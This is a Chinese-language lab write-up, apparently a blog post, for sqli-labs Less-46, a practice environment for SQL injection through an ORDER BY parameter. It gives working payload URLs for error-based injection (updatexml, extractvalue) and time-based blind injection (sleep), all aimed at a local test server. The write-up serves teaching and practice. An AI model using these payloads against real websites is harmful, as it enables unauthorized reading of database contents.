sqli-labs(less-46)order by 注入

我们打开sql-labs的第46关然后在输入框内输入?id=1时会发现页面没有任何的变化,此时我们用Visual Studio Code查看第46关的代码

此时我们发现sql语句是sql = "SELECT \* FROM users ORDER BY id"; ,所以现在我们需要了解一下order by语句的作用。

在SQL语句中,asc是指定列按升序排列,desc则 是指定列按降序排列。
select * from users order by 1 desc; 使用降序进行排列
select * from users order by 1 asc;使用升序进行排列

这时我们就知道了,sql语句只有order by后面的参数是我们可控的,所以我们可以输入?sort=1,在这里sort=1的意思就是以第一列数据也就是id进行排序。

sql 复制代码
http://127.0.0.1/sincer/Less-46/?sort=1
sql 复制代码
http://127.0.0.1/sincer/Less-46/?sort=2

此时我们输入?sort=2,就是以USERNAME进行排序。

输入?sort=3时,会以PASSWORD进行排序。

当我们输入?sort=4时会报错,因为没有第四列。

注入点测试

sql 复制代码
127.0.0.1/sincer/less-46/?sort=rand(true)
sql 复制代码
http://127.0.0.1/sincer/less-46/?sort=rand(false)

报错注入(获取表名)

sql 复制代码
http://127.0.0.1/sincer/less-46/?sort=1%20and%20updatexml(1,concat(0x7e,(database()),0x7e),1)

或者

sql 复制代码
http://127.0.0.1/sincer/less-46/?sort=(extractvalue(1,concat(0x7e,(database()),0x7e)))--+

时间盲注

sql 复制代码
http://127.0.0.1/sincer/Less-46/?sort=1%20and%20if(substr(database(),1,1)=%27s%27,1,sleep(1))--+
相关推荐
·薯条大王7 分钟前
MySQL联合查询
数据库·mysql
morris1312 小时前
【redis】redis实现分布式锁
数据库·redis·缓存·分布式锁
hycccccch2 小时前
Canal+RabbitMQ实现MySQL数据增量同步
java·数据库·后端·rabbitmq
这个懒人3 小时前
深入解析Translog机制:Elasticsearch的数据守护者
数据库·elasticsearch·nosql·translog
Yan-英杰3 小时前
【百日精通JAVA | SQL篇 | 第二篇】数据库操作
服务器·数据库·sql
NineData4 小时前
NineData云原生智能数据管理平台新功能发布|2025年3月版
数据库
百代繁华一朝都-绮罗生5 小时前
检查是否存在占用内存过大的SQL
数据库·sql
吾日三省吾码5 小时前
Python 脚本:自动化你的日常任务
数据库·python·自动化
CZIDC5 小时前
win11 系统环境下 新安装 WSL ubuntu + ssh + gnome 桌面环境
数据库·ubuntu·ssh
直裾5 小时前
Mapreduce的使用
大数据·数据库·mapreduce